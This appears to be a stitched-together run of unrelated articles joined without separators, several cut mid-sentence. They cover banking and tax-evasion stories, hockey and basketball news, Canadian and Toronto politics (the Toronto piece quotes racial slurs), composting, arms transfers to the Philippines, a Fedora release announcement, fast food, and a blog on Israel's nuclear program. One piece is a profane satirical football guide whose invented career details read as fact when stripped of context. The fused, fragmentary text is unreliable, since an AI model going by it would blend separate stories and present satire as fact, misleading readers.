Asia-focused Standard Chartered was at one point also considering a move, but decided to keep headquarters in the UK after the levy was softened.
Mr Flint denied the bank's review was aimed at putting pressure on the goverment to change the tax.
"It is for governments to determine what the appropriate tax is for any particular industry," he said. "We certainly didn't lobby [the Chancellor]. There was no pressure put on him."
Mr Gulliver was at one time in favour of moving the lender back to Hong Kong.
More recently, however, the changing political environment in Hong Kong and increasing influence of China, highlighted by the disappearance of a number of booksellers, is thought to have made it a less attractive destination.
Singapore, the US and Canada had also been suggested as other alternative domiciles for the bank.Ben & Jerry’s Ice Cream has taken opportunities in the past to use their brand in order to make flavorful statements on social and political developments. On Friday, in response to the Supreme Court’s historic strike-down of state bans for same-sex marriage, the ice cream giant joined the national celebration by renaming “Chocolate Chip Cookie Dough” to “I Dough I Dough.”
PR official Sean Greenwood told ThinkProgress that “for us, marriage equality has been one of the core issues and has been for decades…We wanted to make as big a splash as we could.” Bringing up Ben & Jerry’s progressive reputation for giving employees universal benefits, Greenwood also said “we just want to be a company that treats people the same and treats people equally”
In 2009, the company made one of its first statements on gay marriage by renaming “Chubby Hubby” as “Hubby Hubby” to celebrate the removal of the ban in Vermont. Expanding into other areas of social discussion, the company also previously used their “Get The Dough Out Of Politics” campaign in order to protest the ruling on Citizens United.
The flavor is expected to be sold at all stores, as well as distribution channels of the Human Rights Campaign.
It is yet to be seen whether Carvel and Haagan-Daaz will make this the start of a new trend.
[Image via Ben & Jerry’s]
— —
>> Follow Ken Meyer (@KenMeyer91) on Twitter
Have a tip we should know? tips@mediaite.comgave off a poor first impression to Islanders general manager Garth Snow, but not bad enough to make New York sour on the veteran goalie it wants to add to the roster. Snow reached out to the 35-year-old Nabokov on Saturday shortly after the Islanders claimed him from the Detroit Red Wings — the team with which Nabokov signed a one-year contract on Thursday. Snow said when he identified himself on the phone, Nabokov immediately hung up. Snow finally talked to Nabokov on Sunday and was told that Nabokov didn't realize who he was speaking to when abruptly ending the call. Snow relayed the story to Nabokov's agent, Don Meehan, on Saturday and was told that he would discuss the matter with his client. "He called me back 15 or 20 minutes later," Snow said of Meehan. "Donnie said, 'He didn't know it was you. He was on two or three different phones, and people from the media were calling him.' "I just gave him the benefit of the doubt and I said to Donnie, 'Do me a favor. When he gets done with all his phone calls, give him my number and get back to me." Snow didn't speak to Nabokov until Sunday afternoon, during the Islanders' 5-3 home loss to the Buffalo Sabres. Nabokov failed to report to the Islanders, clearly disappointed that he won't be joining the Stanley Cup-contending Red Wings. Instead he is now under contract with the Islanders, who are far out of the Eastern Conference playoff race. He was officially listed among the scratches for Sunday's game. Whether Nabokov will ever join the Islanders remains to be seen. "It's something that we're going to talk about probably a little bit later in the day," Snow said. "He had his heart set on going to Detroit, obviously. I told him I respect that, but he's a New York Islander now and we'd love to have him part of our group." New York owns Nabokov's rights, and could keep him out of the NHL for all of next season should Nabokov not report. "I'm not going to speculate," Snow said. "I'm looking forward to having him in an Islanders uniform. We can cross those bridges when we get there. I'm not there yet." Islanders owner Charles Wang hinted that the Islanders aren't likely to just cut ties with Nabokov and allow him to go back on the waiver wire. Nabokov told ESPN.com on Sunday that his decision to spurn the Islanders is not personal. He merely intended to hook on with a title-contending team and not an also-ran club such as the Islanders, who own the third-fewest points in the NHL. "I think I'm going to stay home for now, I'm sticking with my decision," Nabokov said Sunday. "It's nothing against the Islanders and their organization. It's nothing to do with that. It's just that I'm at the point in my career where I want to help a team win in the playoffs. I don't see how I could help the Islanders or what I could do for them. It doesn't make a lot of sense to me. And I hope they understand that. "I was surprised they picked me up. I was like, 'Wow, what's the point?'" Nabokov, who played with the San Jose Sharks for parts of 10 seasons, had spent this season with SKA St. Petersburg of the Russian KHL and hadn't yet played for Detroit. The NHL's collective bargaining agreement states that anyone who plays in a professional league before signing an NHL contract must clear waivers. "I understand the rules," Nabokov told ESPN.com. "We're not stupid. We knew what was going on before we made the decision. But I made this decision because the goal was to play with Detroit." Once he inked his one-year deal with the Red Wings, he became available to the Islanders. "It's a situation where I feel we got a talented player off waivers and we'd be thrilled to have him part of the organization," Snow said. "He has a standard player's contract with our organization." Snow insists he isn't angry and would still welcome Nabokov into the organization. "It might be his anniversary, it could be his birthday, maybe he has dinner plans tonight," Snow said. "So if it takes until tomorrow to get him here, that's fine, too."OTTAWA — Looking for a political gift to surprise loved ones this Christmas? With Justin Trudeau’s foot apparel literally making international news, it should come as no surprise that Canada’s two biggest political parties are peddling socks.
Last week, at the end of a year during which the Trudeau government ditched a major campaign promise on electoral reform, Liberals held a make-believe election with personified winter accessories as candidates.
“Nearly 4,000 Canadians” voted on the swag race and this “really knocked our socks off,” the party’s senior director of communications, Braeden Caley, said in response to a question from the National Post.
Apparently the toque and mitts didn’t convince anyone with their debate performance, the subject of one in a string of urgent-tone fundraising pitches based around the contest. “It toque a lot for me to gather up the courage to put my name on this ballot,” the hat had said, with mittens musing, “when I first mit the other candidates, I knew it would be a tough competition.”
Caley said the socks won with more than 50 per cent of the vote. So even under proportional representation, there’d have been no need for a sock-toque coalition. As the socks said in a pretend statement Saturday, donors of more than $100 will “get your very own pair of me.”
The well-oiled fundraising machine, which often relies on merchandise, is linking this particular campaign to a “2019 Re-election Fund,” its name a direct counterpoint to the Tories’ “One Term Trudeau Fund.”
Conservatives have been the fundraising winners this year, however.
At mid-term, all three parties are struggling compared to election time. The governing party is making, on average, less than half the dough it was when Justin Trudeau leapt to power in 2015. The Conservatives consistently raised the most cash from individual donations throughout 2017.
Still, Caley noted Liberals have seen consistent growth from one quarter to the next this year, while donations to the Tories have declined over the same period, partly due to a boost during the party leadership race that ended in May.
Though they have some competition from the government on dad puns, Conservatives have socks of their own, branded to be boring on purpose: “Andrew Scheer’s Dad Socks,” white and, unsurprisingly, cheaper than the Liberal equivalent.
The Tories’ online store is conservative on options: you can buy mugs, water bottles, baseball caps, polos and sweaters. Oh, and the hockey book Stephen Harper authored is back in stock.
Meanwhile, Liberals are flush with choices playing off their leader’s popularity: cookie cutters that feature a cartoon version of the prime minister’s face (currently on sale), aprons, headphones, running shirts, baby onesies, mugs, dog bowls, selfie sticks, power chargers.
Where are the New Democrats in all this? Jagmeet Singh, their new federal leader, has publicly said that he does not wear any socks. Meanwhile, the party has no socks available for purchase. Coincidence?
A party official told the Post it wouldn’t have made sense to emphasize swag during the leadership election and now that Singh has taken the helm, “we are in the process of designing new merchandise.”
A store will only show up “in the coming months,” so dippers looking for stocking stuffers are plum out of luck.
• Email: mdsmith@postmedia.com | Twitter: mariedaniellesMany budding gardeners think of making organic compost as complex and difficult, a process that’s set apart for those with years of experience. Not so! If you use the right ingredients and get just a small shove in the right direction, all that’s left is letting nature do its job.
The Ingredients of organic compost
A compost heap looks like a big black/brown mess – it’s difficult to figure out what was once there. However, once you get the hang of it, you’ll instantly know what’s suitable and what isn’t. This is a rough guideline for what you should be looking for:
Anything that was once a living a thing will compost. However, that doesn’t mean you should use them all. For example, anything that will attract vermin should be avoided. This includes dairy products and meats.
Mixtures always work best. Don’t overload your compost with one type of ingredient over another. Get an equal percentage of greens and browns in there and you should be golden. Over time, experience will teach you the exact combination that will work for you.
Use ingredients that rot very quickly, as these can get your compost up and running before you know it. Make sure you combine them with other items, however; otherwise your compost will not get the results you need (i.e. you’ll get a smelly mess!). Look for things like weeds and grass.
Older plants that are a bit tougher will give your compost the body and framework it needs. They will rot more slowly and combine well with the activators mentioned above.
Finally, you need the right amount of water. Without it, your compost heap will not develop appropriately.
Where to Keep the Compost Pile?
We usually recommend building or buying your own bin. While it’s possible to simply have a pile that’s covered y cardboard or polythene, it doesn’t look very neat!
When buying or building your own, look for the following:
Easy to access
No gaps
Cover or lid should be included
Place your win in a sunny location, right on top of the soil. Remember to keep it away from water lines!
When To Do It
We recommend making your compost heap during the spring, as the organic materials will rot down much more quickly. It’s possible to do it any time of year, however, so don’t let a given season get in your way!
Why Compost In the First Place?
If you’re not yet convinced by the advantages of composting, then they probably haven’t been presented to you properly. Once you fully grasp the benefits, you’ll never go back:
Improves soil quality, retaining moisture and keeps disease at bay
You won’t need horrible chemicals to help your soil, instead you’ll rely on the power of nature
Lowers your carbon footprint by minimising methane emissions
Need More Help?
There are plenty of resources that can help you build your own compost heap, but if you’ve never done it before it’s worth getting advice from the professionals or someone who has done it before.
It’s best to be guided, but not having your hand held the entire way. This ensures you learn to do it by yourself, but get the tips you need at the right junctures.Photo by Aaron Favila/Associated Press
This article originally appeared on VICE News.
Russia has agreed to donate 5,000 Kalashnikov assault rifles to the Philippines, after the United States balked at selling rifles to a country widely accused of human rights violations in the course of its notoriously bloody war on drugs.
"We will have the Kalashnikovs," Duterte proudly announced in a speech on Wednesday, adding that Russia asked him to keep the deal quiet.
The shipment of Russian arms, which Duterte said will be used to fight pro-ISIS rebels, represents a big shift for the Philippines, which has traditionally maintained a close military alliance with the United States over the past 60 years. Since just 2000, the US has supplied the Philippines with roughly $1 billion USD worth of equipment.
But now the US State Department is reportedly holding up a previously agreed sale of 27,000 Sig Sauer assault rifles. That deal has been stymied since last year, when US Sen. Ben Cardin, the top Democrat on the Senate Foreign Relations Committee, came out against it, citing concerns about the Philippines' violent crackdown on drug users and dealers.
Russia, along with China, appear ready to fill the void left by the Americans. Duterte's deal for Russian arms follows a Chinese donation of 6,000 assault rifles and 100 sniper rifles.
"What we've seen is the Russian government and the Chinese government spotting an opportunity," Phelim Kine, deputy Asia director at Human Rights Watch, told VICE News. "Both Russia and China have expressed firm support for this murderous war on drugs from the beginning."
An unnamed senior Russian defense official told Reuters the Kalashnikovs would arrive later this month, accompanied by millions of rounds of ammunition and dozens of army trucks.
"As far as I can remember, the Russians have never supplied us with any form of materiel in the past," Philippines defense department spokesman, Arsenio Andolong, told AFP.
The influx of Russian and Chinese guns comes at a time when Duterte's police forces are being widely accused of extensive human rights abuses in a violent anti-narcotics campaign that human rights groups say has killed thousands of mostly small-time peddlers and users.I’ve talked to dozens of people in my three years of writing for The Ubyssey, but I don’t think I’ve ever met anyone who’s had as much to say about everything as Mark Mac Lean.
From his admiration of epistemological anarchist philosopher Paul Feyerabend to his tendency to drink too much coffee and shitpost on Reddit, the UBC math professor is intriguing, intellectual and level-headed all at once.
While he’s currently the math department’s undergraduate chair, Mac Lean has worn many other hats in his 20-plus years at UBC. He was the Faculty Association’s president from 2014 to 2017 — a period which saw the hiring and subsequent resignation of former UBC President Arvind Gupta, followed by the hiring of current President Santa Ono.
He recently stepped out of his role as the academic director of the first-year orientation program Jumpstart, and was one of the founding faculty members of UBC’s Science One program, which puts registered first-year students through a coordinated set of math, biology, chemistry and physics classes.
He taught math in this program for 17 years. They’re all roles that he credits as collaborative efforts with his colleagues from the university. However, Mac Lean has made a point in not staying in any of these roles for too long.
“One of the things in my philosophy is that you have a certain length of time that you do something and then you should move aside and get some fresh ideas and energy in there,” he said.
Of all the work that Mac Lean has done, he considers his involvement with his colleagues in Science One as his proudest achievement.
“It was a nice opportunity to try something new, and probably most importantly for me is that it’s where I really learned a lot about teaching and learning,” he said. “So both by teaching with and watching my colleagues and what they did, and also the intense interactions with students and how they’re learning — thousands of hours of field work, learning about teaching and learning — I think that was a valuable experience.”
He’s less nostalgic about his time as the Faculty Association’s president. In his second year in this role, he guided the association through multiple controversies, such as the alleged academic freedom breach against Jennifer Berdahl, the human rights complaint filed against UBC over a sexual assault case and, of course, Guptagate.
“It took a lot out of me, to be honest,” he said. “It was straining on the institution. It didn’t have a permanent set of executives [and] it had many things coming at once, none of them small. So that period was very tense.”
After resigning from the role, he decided to get back into the classroom. He’s teaching MATH 104 in person, as well as a multivariable calculus class for engineering students that’s live-streamed over the internet.
“There’s a lot of flexibility,” he said. “They can review as much as they want, they can still ask questions. It’s an engineering class so … they’re a hardworking and pretty independent group of students. They find their peers they work with and they just get down to business.”
Speaking of the internet, Mac Lean is a well-known member of r/UBC, the university’s student-run subreddit. Though he generally comments on a variety of topics, many of his posts revolve around updates on registration for math courses. Since math courses fill up quite quickly, he has informed students when seats in a class are available, when new sections of a class are open, what students stuck on waitlists should do and how flexible the prerequisites are for certain courses.
He also has a tendency to “shitpost,” as he put it. One of his math course registration updates was written entirely in Yoda-speak, and his “modest proposal” to create math exam-writing uniforms with individual QR Codes printed on them to avoid cheating is an absolute doozy.
“I think it’s valuable for students to see the faculty as human beings too,” he said. “I have to manage a lot of ‘saying no’ to students, and I’m the guy who does all the discipline — I’m kind of like an old boring grey-haired mathematician guy. You sort of want to have a little bit of a softer side in there.”
Mac Lean has also been involved in co-authoring children’s books with Math Catcher, a program that aims to promote interest in math and science among Indigenous children. The books are five-to-ten minute animations that are narrated in a variety of different Indigenous languages by the native speakers of the language themselves.
“It’s an interesting project because I’m not an Aboriginal person,” he said. “You have to build relationships and be very mindful of what it means to engage with people in this way.”
When asked about what advice he would give to students today, he encouraged them to be risk-takers.
“University should mostly be a safe space for everybody to take risks,” Mac Lean said. “I do it in teaching and sometimes I fail. I fail a lot. Things don’t work out. It can be frustrating, but you’re never actually doing anything without taking those risks.”The Dave & Buster's short rib and cheese mac stack. Dave and Busters
Mac n' cheese is great. But, what about mac n' cheese in a burger? Or on a pizza?
America is facing an overwhelming trend of mac n' cheese being added to foods that simply do not need macaroni and cheese.
On Thursday, Red Robin announced it had added mac n' cheese to the chain's tavern burger.
"Begin drooling now!" the burger chain ordered on Twitter.
The new menu item comes less than a week after Dave & Buster's short rib and cheese mac stack was named one of the least healthy menu items in America, clocking in at 1,910 calories.
The buzziest mac n' cheese item of the summer, however, has to be Burger King's mac n' Cheetos, a polarizing item that debuted in June.
"My mouth is so confused and I'm so concerned as to how much I think I like these," one Business Insider tester said of the mac n' Cheetos. "I ate gourmet French cuisine yesterday and I am deriving nearly the same amount of satisfaction now."
Burger King
Others disagreed.
"These are bad. Very bad," another Business Insider tester said. "There is no flavor, no crispiness, just a mushy center that vaguely resembles mac and cheese that's been run through a blender coated in something that looks like Cheetos and has also run through a blender."
Restaurants seem to be drawing inspiration for these controversial mac n' cheese mashup dishes from the plethora of over-the-top culinary creations found online.
Dude Foods has published recipes for creations such as a bacon weave taco stuffed with mac n' cheese and a mac n' cheese crust pizza. BuzzFeed has debuted a recipe for breadsticks filled with mac n' cheese. A simple Google search of " mac n' cheese pizza" turns up seemingly endless results.
Instagram is filled with increasingly absurd takes on mac n' cheese mashups. We have deep-fried:
In a grilled cheese:
On fries:
Again, on pizza:
Even on waffles:
I'm sure some of these dishes are delicious, but enough is enough.
Mac n' cheese is great. Whether Kraft's distinctive flavor or a creamy homemade version, it's a fantastic and usually fattening dish that makes any meal better.
But adding it to a recipe that does not require it doesn't make every dish better. Your burger is fine without the mac n' cheese. So is your pizza.× Expand Doug Ford, John Tory, Olivia Chow
SILVER SPOON OR SELF-MADE?
DOUG FORD Got Daddy's name and runs the Ford family label business; won his Ward 2 council seat riding brother Rob's coattails; mid-level hash dealer back in the day.
JOHN TORY Blueblood who traces his lineage to 1780s Nova Scotia lieutenant-governor; grew up with the trappings of old money: private school, partner at prestigious family law firm straight out of university. His old man was a trusted adviser to the Thomson family of media empire fame.
OLIVIA CHOW Daughter of Hong Kong immigrants who grew up in St. James Town having to watch every penny. Father worked odd jobs delivering pizza and driving cab; mother worked as a seamstress, a maid and in a hotel laundry.
NET WORTH
DOUG FORD Ford family real estate holdings totaling some $10 million; president of Deco Label, with estimated annual sales in the tens of millions; is pretty much bankrolling his candidacy. Ride Lincoln Navigator SUV.
JOHN TORY Bay Street millionaires club. Still serves on the Rogers board of directors. Was a consummate backroom boy involved in Brian Mulroney's and Kim Campbell's campaigns before he decided to vy for political office. Ride 2000 Lexus SUV, but professes a special affinity for Jeep Cherokee.
OLIVIA CHOW Resigned her seat in Parliament, and lost the $163,700 yearly salary that goes with it, to run for mayor. Copped a book deal in the lead-up to her mayoral run. Ride Her bike when she's not taking the TTC.
DIGS
DOUG FORD Manse (estimated value $1.7 million) in Princess-Rosethorn neighbourhood of Etobicoke; Muskoka cottage bigger than most people's homes; several Florida vacation properties.
JOHN TORY Stylish Bloor and Bedford condo; Lake Simcoe cottage.
OLIVIA CHOW Stornoway, official residence of the leader of the opposition, for a short time before her late husband, NDP leader Jack Layton, died. Still lives with her mom in the house on Baldwin she shared with Layton. Lived in co-op before that.
COMMON TOUCH
DOUG FORD Likes to throw $20 bills at poor people every time he gets a chance; donates his $100,000 councillor salary to community groups, but is that charity or vote-buying? Wanted to line the port lands with yacht club and high-end retailers; running to preserve the Ford family political legacy.
JOHN TORY Conspicuous presence at beer fests big and small; in a naked appeal to Ford Nation, he showed up in a Leafs jacket for a one-on-one with Globe reporter in Jane and Finch early in the campaign.
OLIVIA CHOW Got her political start championing school nutrition programs. Represented one of the most diverse areas of the city as councillor and later MP since 91.
DIVERSITY PROFILE
DOUG FORD Thinks anyone who criticizes his mayor brother is a racist (see the shirtless jogger incident); has never asked Rob to explain that "kikes," "wops" and "niggers" tirade; claims to have nothing against gays - he just won't participate in the Pride parade; would like autistic kids to stay indoors.
JOHN TORY Winner of the Black Business and Professional Association's Diversity Award in 2011; as head of CivicAction pushed transit and investment in priority neighbourhoods; says would pull funding for Pride if QuAIA is allowed to participate.
OLIVIA CHOW The only member of a visible minority among the top mayoral contenders; only woman; only one for whom English is second language, making her the target of racist attacks from Ford supporters. Named one of the top 25 immigrants to Canada by Canadian Immigrant magazine in 2012.
enzom@nowtoronto.com | @enzodimatteoFedora 27 Atomic Host became available at the same time as Fedora 27, and we’ve included a bunch of changes and features to make it an even better platform for your container cloud. Highlights of this version include multi-architecture support, containerized Kubernetes, Workstation, a single OverlayFS volume by default, and new OSTree layering capabilities.
Multi-Architecture Support
Thanks to tremendous efforts across the Fedora project, Fedora 27 Atomic Host is available for 64-bit ARM and Power8 processor architectures as well as 64-bit Intel (i.e. AArch64, ppc64le and x86_64). Not only are we distributing ISOs and cloud images for all three architectures, we will also be providing two-week OSTree updates for them as well.
Our project has seen strong demand for multiple architectures for a while, particularly from people working on Internet of Things (IoT) projects, who want Atomic Host’s update and rollback capabilities. We’re happy to be able to finally satisfy these users. Sinny Kumari, who worked on the multi-arch support, explains more about it.
Containerized Kubernetes
As planned, the Kubernetes binaries have been removed from the base image for Atomic Host. This change both shrinks the base image size, and allows users to install the container orchestration platform and version of their choice, whether it’s Kubernetes, OpenShift, or something else.
Users will now need to install Kubernetes using package layering, or, preferably, as system containers. To support this, the Fedora Layered Image Build System (FLIBS) repository now includes supported system container images for Kubernetes, etcd, and flannel. If you’re upgrading from Fedora 26 Atomic Host, Jason Brooks explains how to upgrade Kubernetes.
Atomic Workstation Updates
For over a year, Fedora contributors have been experimenting with an RPM-OStree build of Fedora Workstation, with all of their applications running in containers or Flatpaks. This spin is informally known as “Atomic Workstation.” We are now expanding that experiment, by offering regular automated updates to the Atomic Workstation image and OStree refs, starting with Fedora 27. While not yet ready for most users, Atomic Workstation offers benefits, such as rollback, to developers who want to test the latest builds of Fedora.
One Big OverlayFS2 Volume
Having tested OverlayFS2 through the Fedora 26 cycle, we are now committing to it. New Atomic Host systems will now get a single filesystem volume by default, which will share binaries, system containers, and OCI/docker containers using OverlayFS2. This change will make installation simpler for new users, as well as being appropriate for small public cloud instances. It’s also consistent with the defaults on other Fedora Editions. Users who need to partition container images and storage onto separate volumes can still do so, using kickstart options and container-storage-setup configuration.
More OSTree Package Layering
In the biweekly Atomic Host updates, we’ve tested out some additional capabilities for RPM-OSTree that give administrators more flexibility in how to add software to hosts. First, remove and replace overrides allow system owners to experiment with changes to the software mix on their host image, including replacing existing binaries with different versions. Second, LiveFS layering eliminates the need to reboot when the only RPM-OSTree change a user makes is adding software.
Upgrading and Support Policy
With the release of Fedora 27 Atomic Host, updates to the Fedora 26 Atomic Host will be strictly on a best-effort basis. As such, we strongly encourage users to upgrade to the new release soon. Upgrade instructions are on the Project Atomic blog.
The Fedora team is proud of the new release, and hopes that you will find it more powerful and easier to use. Download it and try it out soon.Argentina’s tax authority has identified 4,040 bank accounts held by Argentinian individuals and companies in Switzerland through HSBC’s Geneva subsidiary
Argentina is seeking to repatriate $3.5bn it claims HSBC secretly helped clients funnel into offshore accounts to evade tax.
Ricardo Echegaray, head of the Argentinian tax authority, Afip, said in London on Monday that his officials had identified 4,040 undisclosed bank accounts held by Argentinian individuals and companies in Switzerland through HSBC’s Geneva subsidiary.
Afip has already begun legal proceedings in Buenos Aires against the individual HSBC account holders for criminal tax evasion, but Echegaray said the authority would also be seeking redress from HSBC’s holding company for facilitating tax evasion through its Argentinian and Swiss branches.
The latest revelations emerged on the day directors of HSBC were facing a grilling by a committee of British parliamentarians over the bank’s role in facilitating tax evasion and alleged money laundering.
A joint investigation by the Guardian, the BBC, Le Monde and other media outlets into a cache of documents obtained by a former employee of the bank found that it had turned a blind eye to illegal activity of wealthy clients and arms dealers.
The Argentinians said they were applying for an international arrest warrant for a UK-domiciled Argentinian accountant, Miguel Abadi, who they allege funnelled $1.4bn offshore through a single London-based investment fund called Gems Advisors [see footnote].
HSBC said in a statement it had been “cooperating fully with Argentine regulators, including the tax authority and the judiciary, since allegations were first made public last year, and we will continue to do so”.
Abadi’s spokesman said: “Mr Abadi and Gems Advisors have never had any access to any private Argentinian funds. The funds belong to investors who are banks, pension funds and insurance funds. He has offered full cooperation to the Argentinian authorities, and has not been made aware of any arrest warrant.”
According to Echegaray, HSBC’s subsidiary in Argentina designed a platform to help clients hide funds in Swiss accounts. Outside lawyers and accountants set up “ghost” networks of offshore companies, to make the transfers even more opaque. Afip has made formal requests for information on the networks behind the Swiss accounts to the authorities in Bermuda, the British Virgin Islands, and Uruguay as well.
Afip has raided the Argentinian branch of HSBC and seized records and files, but was told many documents relating to the Swiss accounts had been stored at a facility which suffered an arson attack last year.
Around 15% of the 4,040 account holders had changed their tax returns and declared offshore accounts since the Afip investigation was made public, the authority said.
The Argentinian authorities were given the data on the secret Swiss accounts by the French government, which had itself received them from whistleblower and former employee of HSBC in Switzerland Hervé Falciani.
The same leak led to investigations in Belgium and France. The French authorities have recovered £188m in taxes and fines from a list of 3,000 clients and Spain has recovered £220m, also from 3,000 clients.
HMRC has faced criticism for prosecuting just one out of the 1,000 individuals. The permanent secretary for the revenue, Edward Troup, was also scheduled to appear before MPs on the public accounts committee on Monday.
• This footnote was added on 12 January 2016 and updated on 16 February 2016. Representatives for Miguel Abadi have pointed out that the application by Afip for an arrest warrant was rejected by the Argentine judiciary. Further, the allegations against Abadi are denied and have not been substantiated. Mr Abadi has voluntarily provided information to the Argentine authorities.After spending over a year in Iceland’s National Museum, the last McDonalds meal sold in the country will now be going on display at the Bus Hostel in Reykjavik. The world-famous fast food chain shut down its Iceland locations in 2009, and even after all this time the last meal sold in the country has still not become rotten or moldy.
After the economic collapse, McDonalds failed to keep customers coming back in Iceland, and the company was forced to close their doors in the country. The final day that McDonalds was open in Iceland was October 31, 2009, and on that day a man named Hjortur Smarason purchased a meal as a souvenir. Smarason had no intention on actually eating it but wanted to hang onto it out of curiosity, and because he saw it as a piece of history.
At its new home at the Bus Hostel in Reykjavik, the burger and fries sit on display in front of a webcam, where people all over the world can watch its extremely slow decomposition.
https://www.youtube.com/watch?v=QS1HvKc9sAs
John Vibes writes for True Activist and is an author, researcher and investigative journalist who takes a special interest in the counter culture and the drug war.
This article (Iceland Decided To Do This With The Last McDonald’s Meal EVER Sold!) is free and open source. You have permission to republish this article under a Creative Commons license with attribution to the author and TrueActivist.com.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Uruguayan national team
Any Remorse For Way He Conducts Himself As A High-Profile Professional Athlete: Nope
Fun Fact: Fuck him
Robin Van Persie
Strength: Always swaps shirt, shorts, socks with opponent after match in show of sportsmanship
Weaknesses: Joints; bones; tendons
Team: Played for Holland in 2010 World Cup, but now plays for the Netherlands
Style Of Play: Limping
Biggest Fear: Ball coming alive and eating his foot
Special Talent: Could probably kill you if he kicked ball at your head as hard as he could
Signature Move: Thumbs up while being carted off field on stretcher
Favorite Sports Network: Onion Sports Network
Andres Iniesta
Strength: Fantastic field vision allows him to see plays developing years in advance
Weaknesses: Quick first step always followed by four to five slow ones; Hasn’t won World Cup in four years
Claim To Fame: Chosen by FIFA to score winning goal in the 2010 World Cup Final against the Netherlands
Frightening Reality: Team probably good enough to win World Cup without him
Schedule: Spends 80 percent of time lifting trophies while confetti rains down around him
Value: Approximately 12.4 Landon Donovans
Wayne Rooney
Strength: Not defined by selfish desire to score goals that consumes so many other World Cup strikers
Weakness: Every third word uttered is “brilliant”
Favorite Place To Carry Entire Country’s World Cup Dreams: Shoulders
Years Until He Can Retire From National Team And Not Deal With This Shit Anymore: Three
Club Teams: Everton (2002-2004), Manchester United (2004-2017), LA Galaxy (2017-2020)
Weight Of Expectations: 238,467 lbs.
Favorite Position: Behind main striker so fans can’t throw shit at himNew York Knicks forward Carmelo Anthony wants some help. The Knicks' star believes the team needs to add a "bona fide secondary scorer" in order to get to the next level, according to a report from Marc Berman of the New York Post.
More: Knicks coverage at Posting and Toasting
The Knicks flamed out in the second round against the Indiana Pacers this postseason, with Anthony battling through a shoulder injury and Sixth Man of the Year J.R. Smith struggling with his shot while dealing with fluid buildup in his knee. After the series, Syracuse coach Jim Boeheim ripped his former star's teammates, saying that the Knicks asked too much of Anthony and that more scoring options are needed.
Smith was New York's secondary option all year, but he has delivered two stinkers in a row in the playoffs. The Knicks are hoping to re-sign Smith after he opts out of his $2.9 million contract, but Anthony would also like to add a more reliable scorer to the lineup.
Amar'e Stoudemire was supposed to be that second scorer when he and Anthony first teamed up in 2010-11, but Stoudemire's time in New York has been marred by injuries. The Knicks would love to rid themselves of Stoudemire's bloated contract (owed $45 million over the next two years), but they have already used their amnesty provision and almost certainly won't find any takers on the trade market. Instead, New York will likely have to live with a player with bad (and uninsured) knees, a terrible contract and a possible minutes limit next season.
Anthony's desire to acquire a secondary scorer is all fine and dandy, but with the Knicks' cap situation currently a mess, there's not much general manager Glen Grunwald can do. With nearly $75 million in contracts already guaranteed for next season, a sign-and-trade for a superstar like Chris Paul is pretty much out of the question due to new cap rules in the CBA that prohibits teams acquiring a player via sign-and-trade to go over the luxury tax "apron." The apron is set at $4 million above the tax line and will likely be around $75 million to $76 million this offseason.
New York could try and make a move with a regular trade, but there's not much of value on the current roster that would bring back anything significant. Tyson Chandler could be dealt, but he's one of the Knicks' only legitimate big men and a difference maker when healthy. Iman Shumpert is also a valuable asset who Anthony thinks has star potential in a couple of seasons, but the Knicks may not be able to afford to wait that long. If the team does not improve next season, Anthony could decide to opt out of his contract and test free agency.
All in all, it's hard to envision the Knicks making a big splash this summer. No matter how creative Grunwald tries to get, there are simply not many feasible options that would dramatically improve the team's fortunes.
More from SB Nation:
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• NBA mock draft 2013: Going away from the consensus | SB Nation's Big BoardOn page 37 of the U.S. Joint Forces Command [Operating Environment 2008] report, the Army includes Israel within “a growing arc of nuclear powers running from Israel in the west through an emerging Iran to Pakistan, India, and on to China, North Korea, and Russia in the east.”
... writes Bryan Jordan recently at DefenseTech. He speculates that, although Israel’s nuclear weapons program has been an open secret since even before former nuclear technician Mordechai Vanunu disclosed details to the British press in 1986, this may be the first time that the United States has publicly acknowledged it. Though...
Given the U.S.’s long history of selective blindness when it comes to Israeli nukes, it’s unlikely that the Joint report compiled by the Army amount[ed] to much more than a minor faux pas.
Why, after all this time, does Israel insist on remaining coy about its nuclear status? Partly, as Paul Kerr explains in a recent Total Wonkerr post, out of concerns “that Israeli disclosure of its nuclear weapons could destabilize the region, lead to nuclear or CBW proliferation, etc.”
Why does the United States enable this kind of disingenuousness? If it didn’t, aside from destabilization, the United States would be forced “to cease providing billions of dollars in foreign aid to Israel if it determined the country had a nuclear weapons program,” as Jordan writes.
With respect to Israel’s don’t-ask-don’t-tell policy about its nuclear weapons program, one of Kerr’s commenters replied: “If you think it’s hard to deal with the Iranians now, just imagine if some Israeli loose cannon were threatening to annihilate Tehran on a routine basis.” Restoring the horse to its rightful place before the cart, I would amend that to read: “If you think the Israelis are causing trouble now...”
Kerr then quotes a May 2007 International Herald Tribune article by Avner Cohen, perhaps the leading authority on the subject of Israel and the Bomb (which is the title of not only the article but a book he wrote). Before we explore this piece — elements of which we found troubling — some background on Israel’s bomb, courtesy of a June 2007 Arms Control Today piece by Cohen, Crossing the Threshold: The Untold Nuclear Dimension of the 1967 Arab-Israeli War and Its Contemporary Lessons:
[Then Prime Minister Levi] Eshkol knew that a nuclear test would be a blatant violation of... the pledge that Israel would not be the first to introduce nuclear weapons to the Middle East. [While freezing] the program in a nondeployable mode was unthinkable... there are indications that [Eshkol] was cautious, hesitant, and even ambivalent about its future.
Reluctant, that is. Cohen then explains that when Egypt massed troops on the Sinai peninsula in May 1967 and conducted high-altitude reconnaissance flights over Dimona, Eshkol actually feared that the nuclear complex may have not only triggered the deployment but that Egypt was planning to attack Dimona.
In other words, by developing a weapon intended to deter an attack, Israel was provoking the very attack it hoped to deter.
Indeed, Egypt may have been very close to launching an aerial attack on Dimona... but it was called off by Nasser on a few hours’ notice. … Between that an an industrial accident at Dimona... I believe Eshkol was open to political solutions that would have allowed him not to [proceed with developing a nuclear weapon]. [But as] the likelihood of war intensified. … it was simply unthinkable for its leaders that, at such a national dire moment... they would sit idle and do nothing. … Israeli teams assembled virtually all the components, including the handful of nuclear cores it had, into improvised but operational explosive devices … [But in Cohen’s opinion] had the 1967 war not broken... Israel would have signed the NPT.
Or, as Cohen puts it in his International Herald Tribune piece:
Israel has always been a different kind of nuclear proliferator — a reluctant proliferator.
I’m sure the knowledge that the state which is about to detonate a nuclear weapon just over your head developed it with reluctance instead of bravado (like, say, Pakistan) is a tremendous source of consolation. Then Cohen writes:
